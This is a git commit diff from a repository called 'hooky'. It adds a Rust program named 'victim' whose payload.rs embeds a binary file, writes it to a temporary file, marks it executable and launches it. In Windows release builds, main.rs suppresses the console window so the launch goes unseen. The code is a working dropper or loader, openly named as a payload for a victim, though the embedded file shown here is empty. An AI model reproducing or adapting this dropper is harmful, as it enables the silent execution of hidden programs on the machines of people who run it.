~/hooky

e93179c7bcbdcf0b649b17b0194b559824ce48b2 — Arthur Melton 89bc4b52 2 years ago
run exec for victim
6 files changed, 140 insertions(+), 3 deletions(-)

M .gitignore
A victim/Cargo.lock
M victim/Cargo.toml
A victim/run
M victim/src/main.rs
A victim/src/payload.rs
M .gitignore => .gitignore +1 -1
@@ 1,5 1,5 @@

/target

/victim/target

# Added by cargo
#

A victim/Cargo.lock +100 -0
@@ 0,0 1,100 @@

# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 3

[[package]]
name = "bitflags"
version = "1.3.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"

[[package]]
name = "cfg-if"
version = "1.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"

[[package]]
name = "fastrand"
version = "1.8.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a7a407cfaa3385c4ae6b23e84623d48c2798d06e3e6a1878f7f59f17b3f86499"
dependencies = [
 "instant",
]

[[package]]
name = "instant"
version = "0.1.12"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c"
dependencies = [
 "cfg-if",
]

[[package]]
name = "libc"
version = "0.2.139"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "201de327520df007757c1f0adce6e827fe8562fbc28bfd9c15571c66ca1f5f79"

[[package]]
name = "redox_syscall"
version = "0.2.16"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "fb5a58c1855b4b6819d59012155603f0b22ad30cad752600aadfcb695265519a"
dependencies = [
 "bitflags",
]

[[package]]
name = "remove_dir_all"
version = "0.5.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3acd125665422973a33ac9d3dd2df85edad0f4ae9b00dafb1a05e43a9f5ef8e7"
dependencies = [
 "winapi",
]

[[package]]
name = "tempfile"
version = "3.3.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5cdb1ef4eaeeaddc8fbd371e5017057064af0911902ef36b39801f67cc6d79e4"
dependencies = [
 "cfg-if",
 "fastrand",
 "libc",
 "redox_syscall",
 "remove_dir_all",
 "winapi",
]

[[package]]
name = "victim"
version = "0.1.0"
dependencies = [
 "tempfile",
]

[[package]]
name = "winapi"
version = "0.3.9"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
dependencies = [
 "winapi-i686-pc-windows-gnu",
 "winapi-x86_64-pc-windows-gnu",
]

[[package]]
name = "winapi-i686-pc-windows-gnu"
version = "0.4.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"

[[package]]
name = "winapi-x86_64-pc-windows-gnu"
version = "0.4.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"

M victim/Cargo.toml => victim/Cargo.toml +1 -0
@@ 6,3 6,4 @@ edition = "2021"

# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

[dependencies]
tempfile = "3.3.0"

A victim/run +0 -0

                    
M victim/src/main.rs => victim/src/main.rs +10 -2
@@ 1,3 1,11 @@

fn main() {
    println!("Hello, world!");
#![cfg_attr(
    all(not(debug_assertions), target_os = "windows"),
    windows_subsystem = "windows"
)]

mod payload;

fn main() -> Result<(), std::io::Error> {
    payload::run()?;
    Ok(())
}

A victim/src/payload.rs +28 -0
@@ 0,0 1,28 @@

use std::io::Write;
use std::process::Command;
use tempfile::NamedTempFile;

#[cfg(target_os = "windows")]
use tempfile::Builder;

const PAYLOAD: &[u8] = include_bytes!("../run");

pub fn run() -> Result<(), std::io::Error> {
    #[cfg(not(target_os = "windows"))]
    let binding = NamedTempFile::new()?;
    #[cfg(target_os = "windows")]
    let binding = Builder::new().suffix(".exe").tempfile()?;
    let mut temp = binding.as_file();
    temp.write_all(PAYLOAD)?;
    let path = binding.into_temp_path();
    #[cfg(not(target_os = "windows"))]
    Command::new("chmod")
        .arg("+x")
        .arg(path.as_os_str())
        .output()
        .expect("failed to execute process");
    Command::new(path.as_os_str())
        .spawn()
        .expect("failed to execute process");
    Ok(())
}